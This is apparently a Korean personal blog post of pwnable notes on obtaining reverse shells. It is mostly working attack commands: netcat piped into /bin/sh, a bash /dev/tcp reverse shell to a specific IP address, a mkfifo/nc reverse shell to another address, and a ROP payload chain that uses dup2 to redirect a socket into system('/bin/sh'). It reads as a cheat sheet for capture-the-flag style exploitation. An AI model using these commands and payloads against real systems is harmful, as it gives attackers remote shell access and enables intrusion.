[Reverse Connect] dup2, 리버스쉘, reverse
2019. 4. 29. 16:24
그냥 안되서 임시포트들을 쓰기로 했다. 이것들 쓰니까 잘되넹 ㅎㅎ
8000 ~ 8002 나 8080 ~ 8083 같은것들을 쓰면 된다. 아주 편하다!
8000
8001
8002
8080
8081
8082
8083
9090
또는 호스트에서 2개 nc로 열어서 입력과 출력을 담당하게 해서, 공격서버의 /bin/sh와 연결해서 쓰기
nc localhost 8080|/bin/sh|nc localhost 9090
아니면 아래와 같이도 사용가능하다.
공격자 : nc -lvp 8080
희생자 : bash -i>& /dev/tcp/공격자아이피/포트 0>&1
bash -i>& /dev/tcp/168.188.123.187/8080 0>&1
* nc에서 e 옵션 없이 reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.69 1337 >/tmp/f
그 외에도 ROP나 Shellcode 사용이 가능하다면 dup2를 이용해서 fd를 복사해사용할 수 있다.
보통 소켓으로 돌아가는 프로그램에서 사용하는 fd때문에 system함수로 /bin/sh를 실행하여 쉘을 따도 리모트서버에서만 쉘이 따지는데
dup2를 이용해서 사용자 fd를 stdin과 stdout으로 리다이렉트 시켜주면된다.
ROP나 SHELLCODE를 다음과 같이 사용할 수 있도록해주면 된다.
dup2(fd, 1) - dup2(fd, 0) - system("/bin/sh")
#Stage 1 - dup2(fd ,1) # copy fd
payload += p64(pop_rsi)
payload += p64(1)
payload += p64(dup2)
#Stage 1 - dup2(fd ,0)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(dup2)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
'Pwnable!!' 카테고리의 다른 글
[glibc] 동작방식 (glibc 2.25 이전/ 2.26 이후(tcache)) (0) | 2019.05.17 |
---|---|
System Call Table x86 x64 (0) | 2019.05.11 |
[main_arena_offset] libc파일에서 main_arena 오프셋 구하기 (0) | 2019.01.27 |
[C] read 함수 (0) | 2019.01.21 |
Heap Overflow Chunk Size 조작 (feat. invalid next size ) (0) | 2018.10.09 |